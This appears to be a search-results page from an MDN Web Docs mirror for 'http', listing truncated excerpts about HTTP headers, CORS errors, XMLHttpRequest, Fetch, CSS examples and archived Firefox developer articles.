bubbles no cancelable no interface progressevent event handler property ontimeout examples const client = new xmlhttprequest(); client.open('get', 'http://www.example.org/example.txt'); client.ontimeout = () => { console.error('timeout!!') }; client.send(); you could also set up the event handler using the addeventlistener() method: client.addeventlistener('timeout', () => { console.error("timeout!!"); }); specifications specification status comment xmlhttprequestthe definition of 'timeout event' in that specification.
Reason: CORS header 'Access-Control-Allow-Origin' does not match 'xyz' - HTTP
the configuration is typically found in a .conf file (httpd.conf and apache.conf are common names for these), or in an .htaccess file.
Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’ - HTTP
if the request is being issued using xmlhttprequest, make sure you're not setting withcredentials to true.
Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’ - HTTP
if the request is being issued using xmlhttprequest, make sure you're not setting withcredentials to true.
Reason: CORS header ‘Origin’ cannot be added - HTTP
the user agent was unable to add the required origin header to the http request.
Access-Control-Expose-Headers - HTTP
* (wildcard) the value "*" only counts as a special wildcard value for requests without credentials (requests without http cookies or http authentication information).
Content-Length - HTTP
specifications specification title rfc 7230, section 3.3.2: content-length hypertext transfer protocol (http/1.1): message syntax and routing ...
CSP: sandbox - HTTP
the http content-security-policy (csp) sandbox directive enables a sandbox for the requested resource similar to the <iframe> sandbox attribute.
CSP: trusted-types - HTTP
the http content-security-policy (csp) trusted-types directive instructs user agents to restrict usage of known dom xss sinks to a predefined set of functions that only accept non-spoofable, typed values in place of strings.
Cross-Origin-Opener-Policy - HTTP
the http cross-origin-opener-policy (coop) response header allows you to ensure a top-level document does not share a browsing context group with cross-origin documents.
DNT - HTTP
WebHTTPHeadersDNT
examples reading do not track status from javascript the user's dnt preference can also be read from javascript using the navigator.donottrack property: navigator.donottrack; // "0" or "1" specifications specification status comment tracking preference expression (dnt)the definition of 'dnt header field for http requests' in that specification.
Early-Data - HTTP
header type request header forbidden header name no syntax early-data: 1 examples get /resource http/1.0 host: example.com early-data: 1 specifications specification title rfc 8470, section 5.1: the early-data header field using early data in http ...
From - HTTP
WebHTTPHeadersFrom
examples from: webmaster@example.org specifications specification title rfc 7231, section 5.5.1: from hypertext transfer protocol (http/1.1): semantics and content ...
Large-Allocation - HTTP
this error is displayed when loading a document with a large-allocation header with a non-get http method.
NEL - HTTP
WebHTTPHeadersNEL
the http nel response header is used to configure network request logging.
Sec-Fetch-Dest - HTTP
sec-fetch-dest: audioworklet values audio audioworklet document embed empty font image manifest object paintworklet report script serviceworker sharedworker style track video worker xslt nested-document examples todo specifications specification title fetch metadata request headers the sec-fetch-dest http request header ...
Sec-Fetch-Mode - HTTP
der syntax sec-fetch-mode: cors sec-fetch-mode: navigate sec-fetch-mode: nested-navigate sec-fetch-mode: no-cors sec-fetch-mode: same-origin sec-fetch-mode: websocket values cors navigate nested-navigate no-cors same-origin websocket examples todo specifications specification title fetch metadata request headers the sec-fetch-mode http request header ...
Sec-Fetch-Site - HTTP
examples todo specifications specification title fetch metadata request headers the sec-fetch-site http request header ...
Sec-Fetch-User - HTTP
examples todo specifications specification title fetch metadata request headers the sec-fetch-user http request header ...
Server - HTTP
WebHTTPHeadersServer
examples server: apache/2.4.1 (unix) specifications specification title rfc 7231, section 7.4.2: server hypertext transfer protocol (http/1.1): semantics and content ...
SourceMap - HTTP
the sourcemap http response header links generated code to a source map, enabling the browser to reconstruct the original source and present the reconstructed original in the debugger.
Timing-Allow-Origin - HTTP
examples to allow any resource to see timing resources: timing-allow-origin: * to allow https://developer.mozilla.org to see timing resources, you can specify: timing-allow-origin: https://developer.mozilla.org specifications specification status comment resource timing level 3the definition of 'timing-allow-origin' in that specification.
Firefox user agent string reference - HTTP
the recommended way to do this, if it's absolutely necessary (remember that it slows down every request) is to set a custom http header.
User-Agent - HTTP
examples mozilla/5.0 (iphone; cpu iphone os 13_5_1 like mac os x) applewebkit/605.1.15 (khtml, like gecko) version/13.1.1 mobile/15e148 safari/604.1 internet explorer ua string examples mozilla/5.0 (compatible; msie 9.0; windows phone os 7.5; trident/5.0; iemobile/9.0) crawler and bot ua strings examples googlebot/2.1 (+http://www.google.com/bot.html) specifications specification title rfc 7231, section 5.5.3: user-agent hypertext transfer protocol (http/1.1): semantics and content rfc 2616, section 14.43: user-agent hypertext transfer protocol -- http/1.1 ...
X-Content-Type-Options - HTTP
the x-content-type-options response http header is a marker used by the server to indicate that the mime types advertised in the content-type headers should not be changed and be followed.
X-XSS-Protection - HTTP
the http x-xss-protection response header is a feature of internet explorer, chrome and safari that stops pages from loading when they detect reflected cross-site scripting (xss) attacks.
308 Permanent Redirect - HTTP
WebHTTPStatus308
the hypertext transfer protocol (http) 308 permanent redirect redirect status response code indicates that the resource requested has been definitively moved to the url given by the location headers.
418 I'm a teapot - HTTP
WebHTTPStatus418
the http 418 i'm a teapot client error response code indicates that the server refuses to brew coffee because it is, permanently, a teapot.
507 Insufficient Storage - HTTP
WebHTTPStatus507
the hypertext transfer protocol (http) 507 insufficient storage response status code may be given in the context of the web distributed authoring and versioning (webdav) protocol (see rfc 4918).
508 Loop Detected - HTTP
WebHTTPStatus508
the hypertext transfer protocol (http) 508 loop detected response status code may be given in the context of the web distributed authoring and versioning (webdav) protocol.
Index - Web APIs
WebAPIIndex
beacon requests use the http post method and requests typically do not require a response.
... requests are guaranteed to be initiated before a page is unloaded and they are run to completion, without requiring a blocking request (for example xmlhttprequest).
...bytestring maps to a string when returned in javascript; generally, it's only used when interfacing with protocols that use bytes and strings interchangably, such as http.
...And 122 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
2 404 glossary, http errors, infrastructure, navigation a 404 is a standard response code meaning that the server cannot find the requested resource.
... 3 502 502, bad gateway, glossary, http errors, infrastructure, navigation an http error code meaning "bad gateway".
... 14 ajax ajax, codingscripting, glossary, infrastructure, l10n:priority ajax, which initially stood for asynchronous javascript and xml, is a programming practice of building complex, dynamic webpages using a technology known as xmlhttprequest.
...And 43 more matches
Index
if you must support proxies in your application, you are able to register your own implementation of an http request callback interface, and nss can use your application code that supports proxies.
... 14 http delegation advanced, guide, nss up to version 3.11, nss connects directly over http to an ocsp responder to make the request and fetch the response.
... 15 http delegation advanced, guide, nss up to version 3.11, nss connects directly over http to an ocsp responder to make the request and fetch the response.
...And 40 more matches
requiredFeatures - SVG: Scalable Vector Graphics
te: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <circle>, <clippath>, <cursor>, <defs>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <use> html, body, svg { height: 100%; } text { fill: white; } <svg viewbox="0 0 250 45" xmlns="http://www.w3.org/2000/svg"> <g> <rect fill="forestgreen" x="10" y="10" height="25" width="230" /> <text x="20" y="27">requiredfeatures supported</text> </g> <g requiredfeatures=""> <rect fill="crimson" x="10" y="10" height="25" width="230" /> <text x="20" y="27">requiredfeatures not supported</text> </g> </svg> usage notes value <list-of-features> def...
... http://www.w3.org/tr/svg11/feature#svg at least one of the following feature is supported: http://www.w3.org/tr/svg11/feature#svg-static http://www.w3.org/tr/svg11/feature#svg-animation http://www.w3.org/tr/svg11/feature#svg-dynamic http://www.w3.org/tr/svg11/feature#svgdom http://www.w3.org/tr/svg11/feature#svgdom at least one of the following feature is supported: http://w...
...ww.w3.org/tr/svg11/feature#svgdom-static http://www.w3.org/tr/svg11/feature#svgdom-animation http://www.w3.org/tr/svg11/feature#svgdom-dynamic http://www.w3.org/tr/svg11/feature#svg-static the browser supports all the following features: http://www.w3.org/tr/svg11/feature#coreattribute http://www.w3.org/tr/svg11/feature#structure http://www.w3.org/tr/svg11/feature#containerattribute http://www.w3.org/tr/svg11/feature#conditionalprocessing http://www.w3.org/tr/svg11/feature#image http://www.w3.org/tr/svg11/feature#style http://www.w3.org/tr/svg11/feature#viewportattribute http://www.w3.org/tr/svg11/feature#shape http://www.w3.org/tr/svg11/feature#text http://www.w3.org/tr/svg11/feature#paintattribute http://www.w3.org/tr/svg11/feature#opacityattribute http...
...And 36 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
its original inspiration comes from http://www.alain.knaff.lu/howto/mozillacustomization/ and http://mit.edu/~firefox/www/maintain...utoconfig.html.
... this mcd (aka autoconfig here), is not to be confused with https://wiki.mozilla.org/thunderbird...oconfiguration .
...(or firefox.cfg if for firefox...) file encoding if needed, the encoding can be done with the perl script: moz-byteshift.pl available at http://www.alain.knaff.lu/howto/mozi...z-byteshift.pl.
...And 34 more matches
Client-Server Overview - Learn web development
web servers and http (a primer) web browsers communicate with web servers using the hypertext transfer protocol (http).
... when you click a link on a web page, submit a form, or run a search, the browser sends an http request to the server.
...information can be encoded as: url parameters: get requests encode data in the url sent to the server by adding name/value pairs onto the end of it — for example http://mysite.com?name=fred&age=11.
...And 31 more matches
WebRequest.jsm
the webrequest module provides an api to add event listeners for the various stages of making an http request.
...more generally, you can also use this api instead of http request observers.
...the matchpattern constructor accepts: either: a string defining a single pattern or: an array of such strings cu.import("resource://gre/modules/matchpattern.jsm"); let pattern = new matchpattern("https:/developer.mozilla.org/*"); cu.import("resource://gre/modules/matchpattern.jsm"); let pattern = new matchpattern(["https://mozorg.cdn.mozilla.net/*", "https://mdn.mozillademos.org/*", "https://developer.cdn.mozilla.net/*"]); see the match patterns article for details on the syntax of the strings you supply.
...And 29 more matches
Getting Started - Developer guides
in a nutshell, it is the use of the xmlhttprequest object to communicate with servers.
... the two major features of ajax allow you to do the following: make requests to the server without reloading the page receive and work with data from the server step 1 – how to make an http request in order to make an http request to the server with javascript, you need an instance of an object with the necessary functionality.
... this is where xmlhttprequest comes in.
...And 29 more matches
MathML Torture Test
lue="texgyrepagella">tex gyre pagella</option> <option value="texgyreschola">tex gyre schola</option> <option value="texgyretermes">tex gyre termes</option> <option value="xits">xits</option> </select> <br/> </p> <table> <tr> <td></td> <th scope="col">as rendered by tex</th> <th scope="col">as rendered by your browser</th></tr> <tr> <td>1</td> <td><img src="https://udn.realityripple.com/samples/45/d5a0dbbca3.png" width="38" height="22" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <mrow> <msup> <mi>x</mi> <mn>2</mn> </msup> <msup> <mi>y</mi> <mn>2</mn> </msup> </mrow> </math> </td></tr> <tr> <td>2</td...
...> <td><img src="https://udn.realityripple.com/samples/b8/da4a50ea34.png" width="30" height="17" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <!-- <mrow> <msub><mi></mi><mn>2</mn></msub> <msub><mi>f</mi><mn>3</mn></msub> </mrow> --> <mrow> <mmultiscripts> <mi>f</mi> <mn>3</mn><none/> <mprescripts/> <mn>2</mn><none/> </mmultiscripts> </mrow> </math> </td></tr> <tr> <td>3</td> <td><img src="https://udn.realityripple.com/samples/8a/1d0e6e073c.png" width="58" height="47" alt="texbook, 17-17.1" /></td> <td> <math display="block"> <mrow> <mfrac> <mrow> ...
... <mi>x</mi> <mo>+</mo> <msup> <mi>y</mi> <mn>2</mn> </msup> </mrow> <mrow> <mi>k</mi> <mo>+</mo> <mn>1</mn> </mrow> </mfrac> </mrow> </math> </td></tr> <tr> <td>4</td> <td><img src="https://udn.realityripple.com/samples/a7/27acbeabcf.png" width="76" height="25" alt="texbook, 17-17.1" /></td> <td> <math display="block"> <mrow> <mi>x</mi> <mo>+</mo> <msup> <mi>y</mi> <mfrac> <mn>2</mn> <mrow> <mi>k</mi> <mo>+</mo> <mn>1</mn> </mrow> </...
...And 24 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
i'll also cover nonstandard technologies, such as xmlhttprequest and rich text editing, that mozilla does support because no w3c equivalent existed at the time.
...one concrete example is window.open, which opens a new window: <script> function doopenwindow(){ var mywindow = window.open("about:blank"); mywindow.location.href = "http://www.ibm.com"; } </script> the problem with the code is that window.open is asynchronous -- it does not block the javascript execution until the window has finished loading.
...the following code illustrates this best: <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> ...
...And 23 more matches
Index - Archive of obsolete content
95 net/xhr provides access to xmlhttprequest functionality.
... 115 test/httpd an http server for the mozilla platform, which can be used in unit tests.
... 189 html to dom code snippets, dom, guide, html, intermediate, needsupdate although you can now natively parse html using domparser and xmlhttprequest, this is a new feature that is not yet supported by all browsers in use in the wild.
...And 22 more matches
JXON - Archive of obsolete content
if you have already have a dom tree from using xmlhttprequest, skip to the next paragraph.
... note: if you are using an instance of xmlhttprequest in order to retrieve your xml file, please use the yourrequest.responsexml property to get a parsed xml document.
... /*\ |*| |*| jxon snippet #1 mdndeveloper network |*| |*| https://developer.mozilla.org/docs/jxon |*| https://developer.mozilla.org/user:fusionchess |*| |*| this framework is released under the gnu public license, version 3 or later.
...And 17 more matches
Extentsions FAQ - Archive of obsolete content
option #3 install status buttons 1.0 <https://addons.mozilla.org/firefox/1272/> "lets you put toolbar buttons at either end of the status-bar.
... just drag them there from the toolbar customisation window, like you would when adding buttons to the toolbars." option #4 install toolbar control <http://webdesigns.ms11.net/chromeditp.html> asking for help with getting an extension to process windows messages.
... these two links should give you a starting point: http://www..xulplanet.com/tutorials/...u/advmenu.html http://www.xulplanet.com/tutorials/x...dommodify.html request for a thunderbird extension that can automatically detect the default domain when composing e-mails via autodetect.
...And 17 more matches
Sending forms through JavaScript - Learn web development
html forms can send an http request declaratively.
... but forms can also prepare an http request to send via javascript, for example via xmlhttprequest.
... the xmlhttprequest (xhr) dom object can build http requests, send them, and retrieve their results.
...And 17 more matches
What is a web server? - Learn web development
at a minimum, this is an http server.
... an http server is software that understands urls (web addresses) and http (the protocol your browser uses to view webpages).
... an http server can be accessed through the domain names of the websites it stores, and it delivers the content of these hosted websites to the end user's device.
...And 16 more matches
Necko walkthrough
nsdocshell as an example client of the nsihttpchannel api nsdocshell::loaduri(string) create nsiuri from string nsdocshell::loaduri(nsiuri) creates 2 nsiinputstream for read response from; passes them with uri to ...
... nsdocshell::internalload nsdocshell::douriload opens the nsichannel for the uri (ns_newchannel) if "http:", it will be an nsihttpchannel nsdocshell::dochannelload nsuriloader::openuri passes an nsistreamlistener pointer, 'loader' to nsuriloader::openchannel - it creates an nsdocumentopeninfo object, which implements nsistreamlistener, i.e.
... nshttpchannel::asyncopen called from openuri; openchannel isn't named the best, since the opening happens in the context of openuri, its calling function.
...And 16 more matches
Index
MozillaTechXPCOMIndex
71 monitoring http activity http gecko includes the nsihttpactivityobserver interface, which you can implement in your code to monitor http transactions in real time, receiving a callback as the transactions take place.
... 73 setting http request headers add-ons, extensions, http, xul, xulrunner http is one of the core technologies behind the web.
... in addition to the actual content, some important information is passed with http headers for both http requests and responses.
...And 16 more matches
Sending form data - Learn web development
prerequisites: basic computer literacy, an understanding of html, and basic knowledge of http and server-side programming.
...a client (usually a web browser) sends a request to a server (most of the time a web server like apache, nginx, iis, tomcat, etc.), using the http protocol.
... an html form on a web page is nothing more than a convenient user-friendly way to configure an http request to send data to a server.
...And 15 more matches
Using Fetch - Web APIs
the fetch api provides a javascript interface for accessing and manipulating parts of the http pipeline, such as requests and responses.
... this kind of functionality was previously achieved using xmlhttprequest.
...fetch also provides a single logical place to define other http-related concepts such as cors and extensions to http.
...And 14 more matches
Synchronous and asynchronous requests - Web APIs
xmlhttprequest supports both synchronous and asynchronous communications.
... asynchronous request if you use an asynchronous xmlhttprequest, you receive a callback when the data has been received.
... example: send a file to the console log this is the simplest usage of asynchronous xmlhttprequest.
...And 14 more matches
<blend-mode> - CSS: Cascading Style Sheets
<div id="div"></div> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: normal; } multiply the final color is the result of multiplying the top and bottom colors.
... <div id="div"></div> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: multiply; } screen the final color is the result of inverting the colors, multiplying them, and inverting that value.
... <div id="div"></div> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: screen; } overlay the final color is the result of multiply if the bottom color is darker, or screen if the bottom color is lighter.
...And 14 more matches
passwords - Archive of obsolete content
you can use the passwords api with three sorts of credentials: add-on credentials html form credentials http authentication credentials add-on credential these are associated with your add-on rather than a particular web site.
... so: given a form at http://www.example.com/login with the following html: <form action="http://login.example.com/foo/authenticate.cgi"> <div>please log in.</div> <label>username:</label> <input type="text" name="uname"> <label>password:</label> <input type="password" name="pword"> </form> the corresponding values for the credential (excluding username and password) should be: url: "http://w...
...ww.example.com" formsubmiturl: "http://login.example.com" usernamefield: "uname" passwordfield: "pword" note that for both url and formsubmiturl, the portion of the url after the hostname is omitted.
...And 13 more matches
JavaScript Daemons Management - Archive of obsolete content
for a fast overview on the code proposed here you can git clone https://github.com/madmurphy/daemon.js.git.
...|*| |*| https://developer.mozilla.org/docs/javascript/timers/daemons |*| https://developer.mozilla.org/user:fusionchess |*| |*| this framework is released under the gnu public license, version 3 or later.
... |*| http://www.gnu.org/licenses/gpl-3.0.html |*| \*/ "use strict"; /**************************** * the daemon system * ****************************/ /* the global "daemon" constructor */ function daemon (oowner, ftask, nrate, nlen, finit, fonstart) { if (!(this && this instanceof daemon)) { return; } if (arguments.length < 2) { throw new typeerror("daemon - not enough arguments"); } if (oowner) { this.owner = oowner }; this.task = ftask; if (isfinite(nrate) && nrate > 0) { this.rate = math.floor(nrate); } if (nlen > 0) { this.length = math.floor(nlen); } if (fonstart) { this.onstart = fonstart; } if (finit) { this.onstop = finit; finit.call(oowner, this.index, this.length, this.backw); } } /* create the daemon.blan...
...And 13 more matches
Tabbed browser - Archive of obsolete content
ab(...); if window.opener doesn't work, you can get the most recent browser window using this code: var wm = components.classes["@mozilla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); var mainwindow = wm.getmostrecentwindow("navigator:browser"); mainwindow.gbrowser.addtab(...); opening a url in a new tab // add tab gbrowser.addtab("http://www.google.com/"); // add tab, then make active gbrowser.selectedtab = gbrowser.addtab("http://www.google.com/"); manipulating content of a new tab if you want to work on the content of the newly opened tab, you'll need to wait until the content has finished loading.
... // wrong way (the page hasn't finished loading yet) var newtabbrowser = gbrowser.getbrowserfortab(gbrowser.addtab("http://www.google.com/")); alert(newtabbrowser.contentdocument.body.innerhtml); // better way var newtabbrowser = gbrowser.getbrowserfortab(gbrowser.addtab("http://www.google.com/")); newtabbrowser.addeventlistener("load", function () { newtabbrowser.contentdocument.body.innerhtml = "<div>hello world</div>"; }, true); (the event target in the onload handler will be a 'tab' xul element).
... xul: <menuitem oncommand="myextension.foo(event)" onclick="checkformiddleclick(this, event)" label="click me"/> js: var myextension = { foo: function(event) { openuilink("http://www.example.com", event, false, true); } } opening a url in an on demand tab cu.import("resource://gre/modules/xpcomutils.jsm"); xpcomutils.definelazyservicegetter(this, "gsessionstore", "@mozilla.org/browser/sessionstore;1", "nsisessionstore"); // create new tab, but don't load the content.
...And 13 more matches
Additional Navigation - Archive of obsolete content
here is an example triple that we could use in the photos example: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> this new triple has a static value for the object attribute instead of a variable reference.
...to look closer, here is the data network after only the member has been evaluated: (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/obselisk.jpg) when evaluating the triple, the template builder will iterate over the three potential results found so far.
... for the first result, the value of the ?photo variable 'http://www.xulplanet.com/ndeakin/images/t/palace.jpg' will be used as the subject, the predicate will be 'http://purl.org/dc/elements/1.1/title', and the object will be 'canal'.
...And 13 more matches
Examples - Archive of obsolete content
--> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 1 - &lt; in xhtml</title> <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" /> <script type="text/javascript"> var i = 0; while (++i > 10) { // ...
... </p> </body> </html> back to the article problem 2 <!-- this file should have a .xhtml extension --> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 2 - comments in xhtml</title> <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" /> <style type="text/css"> <!-- body {background-color: blue; color: yellow; } --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; }...
... </p> <dl> <dt>mozilla 1.1+/opera 7</dt> <dd>do not apply css or execute the javascript.</dd> <dt>netscape 7.0x/mozilla 1.0.x</dt> <dd>do not apply css but does execute the javascript.</dd> <dt>internet explorer 5.5+</dt> <dd>can not display the document.</dd> </dl> <p> <a href="http://validator.w3.org/check/referer"><img src="https://udn.realityripple.com/samples/8a/9e64asf935.png" alt="valid xhtml 1.0!" height="31" width="88" /></a> </p> </body> </html> back to the article problem 3 <!-- this file should have a .xhtml extension and will generate an error when parsed.
...And 13 more matches
filter - CSS: Cascading Style Sheets
WebCSSfilter
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... border: 1px solid rgb(187, 187, 187); padding: 0px 5px; background: none repeat scroll 0% 0% rgb(238, 238, 238); text-align: left; font-weight: bold; } table.standard-table td { padding: 5px; border: 1px solid rgb(204, 204, 204); text-align: left; vertical-align: top; width:25%; height:auto; } #img3 { height:100%; } <svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"> <filter id="svgblur" x="-5%" y="-5%" width="110%" height="110%"> <fegaussianblur in="sourcegraphic" stddeviation="5"/> </filter> </svg> brightness() the brightness() function applies a linear multiplier to the input image, making it appear more or less bright.
... filter: brightness(2) <svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"> <filter id="brightness"> <fecomponenttransfer> <fefuncr type="linear" slope="[amount]"/> <fefuncg type="linear" slope="[amount]"/> <fefuncb type="linear" slope="[amount]"/> </fecomponenttransfer> </filter> </svg> <table class="standard-table"> <thead> <tr> <th style="text-align: left;" scope="col">original image</th> <th style="text-align: left;" scope="col">live example</th>...
...And 13 more matches
Creating regular expressions for a microsummary generator - Archive of obsolete content
urls 101 urls for auction item pages on ebay, like those on many other sites, usually start with the string "http://" and contain a domain name, a file path, and some query parameters.
... here's a url for an auction item page on ebay: http://cgi.ebay.com/ws/ebayisapi.dll?viewitem&item=280018439106 in this url, the domain name is "cgi.ebay.com", the file path is "/ws/ebayisapi.dll", and the query parameters are "?viewitem&item=280018439106".
...for example, the following regular expression matches--and looks exactly like--the beginning of the url: http:// but some characters are special in regular expressions.
...And 12 more matches
Tamarin build documentation - Archive of obsolete content
use the following command to create a copy of the tamarin repository: $ hg clone http://hg.mozilla.org/tamarin-central tamarin-central tips for working with mercurial can be found here.
...nor does any other brand of make.) with the right prerequisites, use these commands to build tamarin: $ hg clone http://hg.mozilla.org/tamarin-redux/ $ cd tamarin-redux $ mkdir objdir-release $ cd objdir-release $ python ../configure.py $ make ...
... $ make cppflags=-davmplus_verbose additional instructions for non-android cross-platform tamarin-redux build on osx 10.6 (snow leopard) (to build tamarin-central on mac please see previous cross-platform instructions here: https://developer.mozilla.org/index.php?title=en/tamarin/tamarin_build_documentation&revision=21 the bug when building on snow leopard (bug 537817) has been fixed in the tamarin-redux repo.
...And 12 more matches
Fetching data from the server - Learn web development
this seemingly small detail has had a huge impact on the performance and behavior of sites, so in this article, we'll explain the concept and look at technologies that make it possible, such as xmlhttprequest and the fetch api.
... this is achieved by using apis like xmlhttprequest or — more recently — the fetch api.
... these technologies allow web pages to directly handle making http requests for specific resources available on a server and formatting the resulting data as needed before it is displayed.
...And 12 more matches
Color picker tool - CSS: Cascading Style Sheets
ne; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightness) */ .ui-color-picker .picking-area { background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center; background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -moz-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -webkit-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -ms-linear-gradie...
... 50%; border: 1px solid #fff; position: absolute; top: 45%; left: 45%; } .ui-color-picker .picker:before { width: 8px; height: 8px; content: ""; position: absolute; border: 1px solid #999; border-radius: 50%; } .ui-color-picker .hue, .ui-color-picker .alpha { width: 198px; height: 28px; margin: 5px; border: 1px solid #fff; float: left; } .ui-color-picker .hue { background: url("https://mdn.mozillademos.org/files/5701/hue.png") center; background: -moz-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); background: -webkit-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); background: -ms-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #...
...00f 66.66%, #f0f 83.33%, #f00 100%); background: -o-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); } .ui-color-picker .alpha { border: 1px solid #ccc; background: url("https://mdn.mozillademos.org/files/5705/alpha.png"); } .ui-color-picker .alpha-mask { width: 100%; height: 100%; background: url("https://mdn.mozillademos.org/files/6089/alpha_mask.png"); } .ui-color-picker .slider-picker { width: 2px; height: 100%; border: 1px solid #777; background-color: #fff; position: relative; top: -1px; } /* input hsv and rgb */ .ui-color-picker .info { width: 200px; margin: 5px; float: left; } .ui-color-picker .info * { float: left; } .ui-color-picker .input { width: 64px; margin: 5px 2px; float: left; } .ui-color-pi...
...And 12 more matches
Server-side web frameworks - Learn web development
previous overview: first steps next the previous article showed you what the communication between web clients and servers looks like, the nature of http requests and responses, and what a server-side web application needs to do in order to respond to requests from a web browser.
...basic understanding of how server-side code handles and responds to http requests (see client-server overview).
... work directly with http requests and responses as we saw in the last article, web servers and browsers communicate via the http protocol — servers wait for http requests from the browser and then return information in http responses.
...And 11 more matches
Python binding for NSS
to check out python-nss source code from mercurial do this: hg clone https://hg.mozilla.org/projects/python-nss the scm tags for various python-nss releases can be found in the release information.
... release information release 1.0.1 release date 2017-02-28 scm tag pynss_release_1_0_1 source download https://ftp.mozilla.org/pub/mozilla.org/security/python-nss/releases/pynss_release_1_0_1/src/ change log add tls 1.3 cipher suites ssl_cipher_info.py now attempts to enable tls 1.3 fix build issue in setup.py.
...`pip wheel -w dist .` the following constants were added: ssl.tls_aes_128_gcm_sha256 ssl.tls_aes_256_gcm_sha384 ssl.tls_chacha20_poly1305_sha256 release 1.0.0 release date 2016-09-01 scm tag pynss_release_1_0_0 source download https://ftp.mozilla.org/pub/mozilla.org/security/python-nss/releases/pynss_release_1_0_0/src/ change log official 1.0.0 release, only minor tweaks from the 1.0.0beta1 release.
...And 11 more matches
URLs - Plugins
« previousnext » this chapter describes retrieving urls and displaying them on specified target pages, posting data to an http server, uploading files to an ftp server, and sending mail.
...plug-ins can request and receive the data associated with urls of any type that the browser can handle, including http, ftp, news, mailto, and gopher.
...obsolete since gecko 2.0 http (hypertext transfer protocol) locates resources on the internet.
...And 11 more matches
Console messages - Firefox Developer Tools
method the specific http request method.
... if the request was made as an xmlhttprequest, there's an additional "xhr" tag indicating this.
... summary the http version, response code, and time taken to complete.
...And 11 more matches
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
this set uses: fallbacks using 2009 'box' syntax (ff and older webkit) and prefixed syntaxes (ie10, webkit browsers without flex wrapping) final standards syntax (ff, safari, chrome, ie11+, edge, opera) this was inspired by: http://dev.opera.com/articles/view/advanced-cross-browser-flexbox/ with help from: http://w3.org/tr/css3-flexbox/ http://the-echoplex.net/flexyboxes/ http://msdn.microsoft.com/en-us/library/ie/hh772069(v=vs.85).aspx http://css-tricks.com/using-flexbox/ a complete guide to flexbox | css-tricks visual guide to css3 flexbox: flexbox playground | note: mixins are not currently supported natively in browsers.
... values: flex | inline-flex spec: https://drafts.csswg.org/css-flexbox/#flex-containers @mixin flexbox { display: -webkit-box; display: -moz-box; display: -webkit-flex; display: -ms-flexbox; display: flex; } //using this mixin %flexbox { @include flexbox; } @mixin inline-flex { display: -webkit-inline-box; display: -moz-inline-box; display: -webkit-inline-flex; display: -ms-inline-flexbox; display: inline-flex...
... values: row (default) | row-reverse | column | column-reverse spec: https://drafts.csswg.org/css-flexbox/#flex-direction-property @mixin flex-direction($value: row) { @if $value == row-reverse { -webkit-box-direction: reverse; -webkit-box-orient: horizontal; -moz-box-direction: reverse; -moz-box-orient: horizontal; } @else if $value == column { -webkit-box-direction: normal; -webkit-box-orient: vertical; -moz-box-direction: normal; -moz-box-orient: vertical; } @else if $value...
...And 11 more matches
